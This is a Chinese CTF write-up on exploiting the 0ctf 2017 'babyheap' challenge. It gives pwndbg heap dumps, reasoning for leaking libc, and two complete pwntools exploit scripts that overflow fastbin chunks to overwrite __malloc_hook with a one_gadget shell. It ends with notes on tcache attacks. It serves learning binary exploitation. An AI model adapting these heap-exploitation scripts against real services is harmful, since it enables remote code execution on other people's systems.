Contents
  1. 1. 漏洞点
  2. 2. ubuntu16
    1. 2.1. 分析1
    2. 2.2. exp1
    3. 2.3. 分析2
    4. 2.4. exp2
  3. 3. ubuntu18

因为我是堆菜鸟,所以需要…好好调试分析一下…

漏洞点

保护全开
功能:

1
2
3
4
5
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

calloc的size是在Allocate中输入的。而Fill时size是重新输入的,可以造成堆溢出。
(内存分配函数是calloc而不是malloc,calloc分配chunk时会对内存区域进行置空,也就是说之前的fd和bk字段都会被置为0)
先关闭PIE方便调试

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

在gdb中使用

1
skip function alarm

跳过alarm函数,方便调试,但是每次调试都需要执行这么一句。
或者就通过patch二进制文件删除alarm函数

ubuntu16

分析1

alloc四个fast chunk,一个small chunk

先释放1,再释放2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 ==>0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 ==>1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 ==>2
0x555555757050: 0x0000555555757020 0x0000000000000000 ==>后入先出,所以chunk2的fd指向chunk1
0x555555757060: 0x0000000000000000 0x0000000000000021 ==>3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 ==>4
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000020ef1
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000

接下来,通过堆溢出漏洞,将chunk2的fd指针第一个字节修改为0x80指向chunk4,由于1, 2都被free,所以通过chunk0进行修改
因为申请fast chunk时会检测chunk_size和chunk_index是否匹配【index计算方式为:(chunk size) >> (SIZE_SZ == 8 ? 4 : 3) – 2,在64位平台上SIZE_SZ为8】,所以我们还需要修改chunk4的size位为0x21

1
2
alloc(0x10) ==>得到原来chunk2空间
alloc(0x10) ==>得到chunk4空间,可以控制

前提:当内存中只有一个small chunk的时候,且该chunk处于申请空间的内存最高位,那么释放后的fd bk并不会指向libc中的某处
FALSE
所以我们应该再alloc一个small chunk,使chunk4不在最高位
再将chunk4的size位修复,使chunk4被释放后,fd bk指向libc某处
TRUE
这时候打印chunk2就可以得到top chunk,它与main_arena偏移固定,为0x3c4b78,减去它即得到libc基地址(在fastbin为空时,unsortbin的fd和bk指向自身main_arena)

又,malloc中不为空时,就执行它指向的函数,如果我们将指针改为shell函数,那么调用malloc就会触发getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx &__malloc_hook-0x10
0x7ffff7dd1a90 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aa0 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ab0 <_IO_wide_data_0+240>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00005555557571a0

__malloc_hook恰好在main_arena - 0x10处。

1
2
3
4
5
6
pwndbg> x/10x 0x7ffff7dd1ae0 - 0x3
0x7ffff7dd1add <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000

偏移为0x3c4b78 - (0x7ffff7dd1b70 - 0x7ffff7dd1aed) = 0x3c4aeb

exp1

小tips:缩进的tab或空格不能混用,要么全用tab 要么全用空格。okok我今天才第一次遇见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

ip = " "
port = 0
io = 0
elf = ELF("./babyheap_0ctf_2017")

def menu(choice):
io.sendlineafter(": ", str(choice))
def alloc(size):
menu(1)
io.sendlineafter(": ", str(size))
def fill(idx, size, content):
menu(2)
io.sendlineafter(": ", str(idx))
io.sendlineafter(": ", str(size))
io.sendafter(": ", content)
def free(idx):
menu(3)
io.sendlineafter(": ", str(idx))
def dump(idx):
menu(4)
io.sendlineafter(": ", str(idx))

def pwn(ip, port, debug):
global io
if(debug == 1):
io = process("./babyheap_0ctf_2017")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, len(payload), payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, len(payload), payload)
alloc(0x10) #1==> 2
alloc(0x10) #2==> 4
payload = p64(0)*3
payload += p64(0x91)
fill(3, len(payload), payload)
alloc(0x80)
free(4)
dump(2)
io.recvuntil("\n")
libc_base = u64(io.recvuntil("Command")[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

alloc(0x60)
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2, len(payload), payload)

alloc(0x60)
alloc(0x60)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base + one_gadget[1])
fill(6, len(payload), payload)
alloc(233)
io.interactive()

if __name__ == '__main__':
pwn("node3.buuoj.cn", 28315, 1)

分析2

  1. 通过unsorted bin的指针来泄露libc_base
    要打印出指针,就需要使用Dump功能来打印,但是Dump只能打印没有被Free的content
    想要打印出被free的内容,就可以想到通过打印一个没有被Free的content,但是其中包含了一个被free的chunk,如何实现? 既然存在堆溢出,当然是通过改写size来达到目的。
    如图理解

    显然A B的前后都需要申请chunk,前一个chunk为了造成堆溢出改写A的size位,后一个chunk防止与top chunk合并
    同时这些chunk的大小都必须是unsorted bin,这样B被free后 fd bk 都指向unsorted_addr,可以得到libc_base
  2. 劫持__malloc_hook,通过堆溢出改写fd到__malloc_hook附近地址,连续calloc两次就到附近地址进行写入,写入到__malloc_hook时将该处填写成one_gadget即可。再次Alloc调用calloc时,就会执行__malloc_hook处的one_gadget拿shell了。【这里和我文章fastbin attack中search这个题一样的】

好了可以着手写exp了

exp2

原po说的是exp没有libc限制,其实不然….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./babyheap')
# r = remote('127.0.0.1',9999)

#FUNCTION DEFINE
def new(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))

def edit(idx,size,content):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(content)

def delet(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))

def echo(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))

#MAIN EXPLOIT

#memory leak
#step1
new(0x90) #idx.0 to unsorted bin
new(0x90) #idx.1 to unsorted bin
new(0x90) #idx.2 to unsorted bin
new(0x90) #idx.3 for protecting top_chunk merge
delet(1)
#step2
payload_expand = 'A'*0x90 + p64(0) + p64(0x141)
edit(0,len(payload_expand),payload_expand)
#step3
new(0x130)
#step4
payload_crrct = 'A'*0x90 + p64(0) + p64(0xa1)
edit(1,len(payload_crrct),payload_crrct)
#step5
delet(2)
#step6
echo(1)
r.recvuntil("Content: n")
r.recv(0x90 + 0x10)
fd = u64( r.recv(8) )
libc_unsort = fd
libc_base = libc_unsort - 0x3c4b78

#hijack overflow
#the present idx_table has inuse logs: 0 , 1 , 3 ,wait-queue: 2 , 4 , 5 , 6 , 7 , ...
new(0x90) #idx.2 clean the heap-bins environment
new(0x10) #idx.4 for overflow
new(0x60) #idx.5 to fastbin[5]
new(0x10) #idx.6 for protecting top_chunk merge
delet(5) #NOTICE: idx.5 recycled after here !!!
malloc_hook_fkchunk = libc_base + 0x3c4aed
payload_hj = 'A'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook_fkchunk)
edit(4,len(payload_hj),payload_hj)

#hijack attack
new(0x60) #idx.5
new(0x60) #idx.7
onegadget_addr = libc_base + 0x4526a
payload_hj2onegadget = 'A'*3 + p64(0) + p64(0) + p64(onegadget_addr)
edit(7,len(payload_hj2onegadget),payload_hj2onegadget)

#fire
new(0x100)
r.interactive()

后面还需要研究ubuntu18的利用…

ubuntu18

由于libc2.23以后提供了tcache机制,多了个tcache bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
对旧的利用技术的影响 https://www.anquanke.com/post/id/104760

由上可知malloc会优先考虑tcache,在使用它之前只有size等很少的完整性校验(只有存入前有size >= MINSIZE && aligned_OK (size) && !misaligned_chunk (p) && (uintptr_t) p <= (uintptr_t) -size),而它本身并没有什么完整性校验,于是利用它进行攻击会简单很多。

1.The House of Spirit

在之前,这种利用手段主要用在fastbin,因为它的检查要少很多,包括要释放的chunk大小正确且属于fastbin,下一个chunk大小要适中,不能小于2*SIZE_SZ且不能大于已分配内存。small的检查更多。

但是若使用tcache,就只需要关心当前chunk的地址及大小,chunk大小也不仅仅是fastbin了。

2.double free

和fastbin一样,通过free同一个chunk造成loop bin,但是fastbin不能连续释放同一个chunk,而tcache没有这种限制让它适用更大的chunk。

3.Overlapping chunks

若能更改指定chunk的size,增加其值,那么在释放后进入tcache再分配更改后的对应大小就能控制其后的chunk了。

4.tcache poisoning

对于已经在tcache里面的chunk,更改它的fd值即可在malloc时分配任意地址!

5.Smallbin cache filling bck write

在unsorted bin的unlink中,它回到了最原始的unlink,未进行其他检查(如bck->fd != victim),这样又可以进行DWORD SHOOT啦:

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

参考:
https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/
https://nobb.site/2017/08/01/0x36/
https://www.cnblogs.com/xingzherufeng/p/9844873.html
https://juejin.im/entry/5c177e6ff265da6141717bcd

小插曲:中间nc还不行了,ping也ping不通,执行service network-manager restart
就好了